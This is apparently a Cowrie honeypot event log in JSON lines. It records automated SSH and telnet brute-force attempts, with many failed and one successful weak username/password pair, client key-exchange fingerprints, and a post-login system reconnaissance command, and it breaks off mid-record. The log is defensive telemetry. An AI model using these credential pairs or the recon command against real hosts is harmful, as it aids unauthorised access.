{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:07:17.563168Z","src_ip":"192.109.200.78","session":"6c1af804c09a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1234","message":"login attempt [ubuntu/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:07:17.902359Z","src_ip":"192.109.200.78","session":"6c1af804c09a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":54118,"dst_ip":"159.203.135.109","dst_port":23,"session":"73f82c44ce66","protocol":"telnet","message":"New connection: 206.189.71.75:54118 (159.203.135.109:23) [session: 73f82c44ce66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:07:18.517198Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:07:18.989345Z","src_ip":"192.109.200.78","session":"6c1af804c09a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":43564,"dst_ip":"10.17.0.5","dst_port":22,"session":"5fc00e4fcfab","protocol":"ssh","message":"New connection: 192.109.200.78:43564 (10.17.0.5:22) [session: 5fc00e4fcfab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:07:21.785230Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:07:21.791559Z","src_ip":"192.109.200.78","session":"5fc00e4fcfab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:07:21.870755Z","src_ip":"192.109.200.78","session":"5fc00e4fcfab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"123","message":"login attempt [developer/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:07:22.212193Z","src_ip":"192.109.200.78","session":"5fc00e4fcfab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":32948,"dst_ip":"159.203.135.109","dst_port":23,"session":"9e173285b816","protocol":"telnet","message":"New connection: 206.189.71.75:32948 (159.203.135.109:23) [session: 9e173285b816]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:07:23.269716Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:07:23.605351Z","src_ip":"192.109.200.78","session":"5fc00e4fcfab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.53291368484497,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:07:24.368947Z","src_ip":"206.189.71.75","session":"7b8502c65a8d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":33644,"dst_ip":"159.203.135.109","dst_port":23,"session":"6ca842bec770","protocol":"telnet","message":"New connection: 206.189.71.75:33644 (159.203.135.109:23) [session: 6ca842bec770]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:07:24.899068Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":43572,"dst_ip":"10.17.0.5","dst_port":22,"session":"dbc7e6481f39","protocol":"ssh","message":"New connection: 192.109.200.78:43572 (10.17.0.5:22) [session: dbc7e6481f39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:07:26.012050Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:07:26.017087Z","src_ip":"192.109.200.78","session":"dbc7e6481f39","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:07:26.099550Z","src_ip":"192.109.200.78","session":"dbc7e6481f39","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"runner","password":"123456","message":"login attempt [runner/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:07:26.347565Z","src_ip":"192.109.200.78","session":"dbc7e6481f39","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:07:27.435217Z","src_ip":"192.109.200.78","session":"dbc7e6481f39","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":37988,"dst_ip":"159.203.135.109","dst_port":23,"session":"c678621b57ce","protocol":"telnet","message":"New connection: 206.189.71.75:37988 (159.203.135.109:23) [session: c678621b57ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:07:28.813465Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":34852,"dst_ip":"159.203.135.109","dst_port":23,"session":"96ea5b0f4ec7","protocol":"telnet","message":"New connection: 206.189.71.75:34852 (159.203.135.109:23) [session: 96ea5b0f4ec7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:07:29.346429Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":41134,"dst_ip":"10.17.0.5","dst_port":22,"session":"427ac0b9d3c3","protocol":"ssh","message":"New connection: 192.109.200.78:41134 (10.17.0.5:22) [session: 427ac0b9d3c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:07:30.068949Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:07:30.075360Z","src_ip":"192.109.200.78","session":"427ac0b9d3c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.6609091758728,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:07:30.099354Z","src_ip":"206.189.71.75","session":"fa7748f1074c","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:07:30.164202Z","src_ip":"192.109.200.78","session":"427ac0b9d3c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1qaz@WSX","message":"login attempt [ubuntu/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:07:30.420929Z","src_ip":"192.109.200.78","session":"427ac0b9d3c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:07:31.516769Z","src_ip":"192.109.200.78","session":"427ac0b9d3c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":50570,"dst_ip":"159.203.135.109","dst_port":22,"session":"add4c1093f31","protocol":"ssh","message":"New connection: 159.203.92.129:50570 (159.203.135.109:22) [session: add4c1093f31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:07:32.267612Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:07:32.271752Z","src_ip":"159.203.92.129","session":"add4c1093f31","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:07:32.276218Z","src_ip":"159.203.92.129","session":"add4c1093f31","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"Admin@server","message":"login attempt [admin/Admin@server] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:07:32.286832Z","src_ip":"159.203.92.129","session":"add4c1093f31","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:07:32.332736Z","src_ip":"159.203.92.129","session":"add4c1093f31","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a","message":"CMD: cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:07:32.336045Z","src_ip":"159.203.92.129","session":"add4c1093f31","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"cut -f2 -d:","message":"Command not found: cut -f2 -d:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:07:32.340388Z","src_ip":"159.203.92.129","session":"add4c1093f31","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887","size":111,"shasum":"c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:07:32.351189Z","src_ip":"159.203.92.129","session":"add4c1093f31","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:07:32.356426Z","src_ip":"159.203.92.129","session":"add4c1093f31","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":42386,"dst_ip":"159.203.135.109","dst_port":23,"session":"1da24197ed1e","protocol":"telnet","message":"New connection: 206.189.71.75:42386 (159.203.135.109:23) [session: 1da24197ed1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:07:33.762826Z"}
{"eventid":"cowrie.session.closed","duration":35.202014684677124,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:07:34.032196Z","src_ip":"206.189.71.75","session":"940549fd2beb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":41148,"dst_ip":"10.17.0.5","dst_port":22,"session":"31cb9fa8d73f","protocol":"ssh","message":"New connection: 192.109.200.78:41148 (10.17.0.5:22) [session: 31cb9fa8d73f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:07:34.344960Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:07:34.349445Z","src_ip":"192.109.200.78","session":"31cb9fa8d73f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:07:34.439605Z","src_ip":"192.109.200.78","session":"31cb9fa8d73f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jasdeep","password":"jasdeep123","message":"login attempt [jasdeep/jasdeep123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:07:34.691445Z","src_ip":"192.109.200.78","session":"31cb9fa8d73f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:07:35.777689Z","src_ip":"192.109.200.78","session":"31cb9fa8d73f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":44244,"dst_ip":"159.203.135.109","dst_port":23,"session":"7e0f0636c8dd","protocol":"telnet","message":"New connection: 206.189.71.75:44244 (159.203.135.109:23) [session: 7e0f0636c8dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:07:35.792749Z"}
{"eventid":"cowrie.session.closed","duration":36.06540560722351,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:07:36.228700Z","src_ip":"206.189.71.75","session":"2a1dd4cd51fb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00204086303711,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:07:36.805207Z","src_ip":"202.47.32.235","session":"3dc756a5b2e6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.47.32.235","src_port":49334,"dst_ip":"10.17.0.5","dst_port":23,"session":"775c7ccd353c","protocol":"telnet","message":"New connection: 202.47.32.235:49334 (10.17.0.5:23) [session: 775c7ccd353c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:07:38.381000Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":51162,"dst_ip":"10.17.0.5","dst_port":22,"session":"dcde129027f1","protocol":"ssh","message":"New connection: 192.109.200.78:51162 (10.17.0.5:22) [session: dcde129027f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:07:38.391612Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:07:38.396449Z","src_ip":"192.109.200.78","session":"dcde129027f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"m